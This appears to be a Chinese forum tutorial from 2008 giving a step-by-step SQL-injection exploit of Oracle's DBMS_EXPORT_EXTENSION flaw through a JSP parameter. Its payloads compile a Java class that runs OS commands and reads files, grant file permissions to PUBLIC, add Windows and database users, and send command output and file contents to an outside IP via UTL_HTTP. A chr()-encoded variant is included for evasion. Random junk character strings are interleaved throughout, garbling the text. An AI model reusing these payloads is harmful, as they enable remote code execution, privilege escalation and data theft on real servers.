以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ! B& M; q* v) I0 B
$ @. v7 a3 |( h, U9 { /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) . X* E- L# h0 P# k9 G1 j# v
的形式即可。(用" 'a'|| "是为了让语句返回true值)
/ }' V0 R: s3 p9 i8 G4 g语句有点长,可能要用post提交。
1 e: k, {$ m- _7 X% G以下是各个步骤: % R) j+ ~: {* K0 ]
1.创建包
7 Z. N8 b. e) {2 g通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:6 ^/ X. ~* I+ _& N( Z9 k, `
/xxx.jsp?id=1 and '1'<>'a'||(
( s, ]. n1 f# s8 J3 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 N) b) L4 {0 b4 {9 B
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
( c" M7 J/ G0 a% B2 Snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 z9 E9 `9 _4 \& ~* u}'''';END;'';END;--','SYS',0,'1',0) from dual
1 E$ }! ?- g _+ ? s9 |6 M2 r- d) ( Z# _2 N" k5 v' e. L
------------------------ * e$ `; C7 s+ l/ G4 x- N4 B/ f
如果url有长度限制,可以把readFile()函数块去掉,即:
% y9 T' ]) d8 n/xxx.jsp?id=1 and '1'<>'a'||( 0 {" T1 J: V& j2 b, z* S5 B3 F' R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( V: m% A* R) q4 M" c
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% G7 [$ @5 s* T- ?9 onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}) n' j' \3 d P# i+ B2 \
}'''';END;'';END;--','SYS',0,'1',0) from dual , s4 s- y7 p! r2 t3 ?% H
) & {6 f+ i+ I8 Y+ r$ E) r
同时把后面步骤 提到的 对readFile()的处理语句去掉。
. N6 M7 e$ W7 d5 ^$ \( f------------------------------ 1 y8 Y" B, u+ @% u/ Y1 \
2.赋Java权限
5 e/ H" T0 {4 eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual0 b9 V f$ i1 Q) n
3.创建函数 4 B m4 ~9 T* w" |( X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 a) W6 s' _/ p" fcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual, \" Z! c$ M9 m! l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% [. s: O0 j4 u7 u: h: ccreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 ]2 s9 B3 Y+ b2 O' o- R& C6 L
4.赋public执行函数的权限
/ M6 u% m j, Z6 L3 Q7 Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual: ~8 }/ t/ w' V! o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual* _* G6 C& K- l5 G# J
5.测试上面的几步是否成功 2 O6 k$ ]! V1 h1 Z( v8 I* D8 _
and '1'<>'11'||(
2 K% H8 J* r) Q U' Lselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
; j! q% `* K. t, C) " O. v( `1 o' p3 X2 J0 j
and '1'<>(
- P. I' K4 f5 t% ]select OBJECT_ID from all_objects where object_name ='LINXREADFILE' / \- C4 s ~2 h, O3 ~
) - X" O4 \' ?$ R! p% R
6.执行命令: 0 B" ]( M9 w( S! e7 ]; U0 S
/xxx.jsp?id=1 and '1'<>(
% w8 f* i' B) R$ S. ?; eselect sys.LinxRunCMD('cmd /c net user linx /add') from dual " C( x% i7 l( G2 ` D# `- u
$ c& d: j0 S* J
) 1 g* d- w3 L9 c2 G* Y6 _1 d
/xxx.jsp?id=1 and '1'<>( 5 N* E% ?, l$ O& K" S6 q
select sys.LinxReadFile('c:/boot.ini') from dual, E- _5 ?+ D5 K
! c) R7 e8 t! P; w
) Z$ C( Q6 \! M7 J! O2 s: n5 f
0 n3 _! r x- z: @* \5 K, a+ \注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
. F g; G& f/ g, \/ ~: p- V0 N如果要查看运行结果可以用 union : - n& z7 ?+ c, Q
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual$ S, h( o$ ^5 h
或者UTL_HTTP.request(:
7 Z4 n4 A* I7 y" i0 z/xxx.jsp?id=1 and '1'<>(
4 L, j8 D8 K5 E+ n% QSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual3 U& [) I: k! T
)
* L& B8 s# n- q. k/xxx.jsp?id=1 and '1'<>( " K$ U2 z& |& s+ m+ B \
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
7 h& Y/ x, t! h. ~& W# g) ( \ Z, o, o& H3 ?+ J+ z
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。$ _% m0 k8 S0 B E) ^, m7 H
--------------------
( j; X0 O; H5 t$ E) j6 X0 [6.内部变化 / s$ k7 Y& W9 t) v, Z
通过以下命令可以查看all_objects表达改变:
) W& M" @" y6 M) Hselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
) w( }( E* h9 y! Z3 \/ p7.删除我们创建的函数 3 _* m1 D) o0 x, ] q1 M9 V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# j. }' @7 x; [4 B; @drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual 7 b6 Q0 n2 _! ]7 ~0 y" x
====================================================
9 R! m2 D9 ?/ ^3 W全文结束。谨以此文赠与我的朋友。 / D& [8 L. V' B; f. c
linx
: g6 v' A' G' [/ _8 Z/ k124829445 ; x0 v, z; ^1 R8 b
2008.1.12 0 l- l, [- F: N: s* ^3 D
linyujian@bjfu.edu.cn
6 t2 n1 f5 H1 C; f3 L0 A8 G9 s====================================================================== q' z9 ^6 ~" N, m* i, a3 X
测试漏洞的另一方法:
! j7 Z7 Z& M- V' W- n创建oracle帐号:
4 _+ o* Q: v3 R! D+ O0 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 `, C1 y. M- a% V) e! ICREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 x( P% B9 p: g
即: 7 d( H8 i- i3 V: j: d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
1 \* d2 u) K6 o3 V: Vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
3 H5 A9 ^8 q8 r3 Y确定漏洞存在: " Y$ d7 O$ k, P6 k5 y2 v. E: g
1<>(
; _" D s( }& m& k P$ Yselect user_id from all_users where username='LINXSQL'
4 t( ~! U! w+ y V* B0 D$ O8 G, Z)
; I0 R; Y1 W' t2 W6 i给linxsql连接权限: # G0 N3 r* [$ z' }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! K+ z3 O9 x; ]GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
0 ?& V# h0 n0 B, y删除帐号:
7 X9 x/ o) @ O2 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! t7 W- Z) T& _& Y$ S% Gdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
. b9 y' _+ K- q4 O @2 x$ X7 {======================
+ t2 J S7 k# ~1 \$ x* `8 T% S3 B以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:1 J+ T0 r; x* d' {' Y- d! i; h) E. q
1.jsp?id=1 and '1'<>( 0 P* ?8 C* p5 `4 {+ [9 q) @
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 \9 k+ q) j' g
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
2 H/ U' v( `9 ?) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE* u& [' g9 t! d ? w9 f! R
)8 b: w# r4 l+ \+ d! O! }" O- L$ H
: X7 n, t" r( S; e% O" K/ J0 x7 O1 @) Y8 G' n
6 D' [( D1 m! [( a% P1 R* Z1 i
|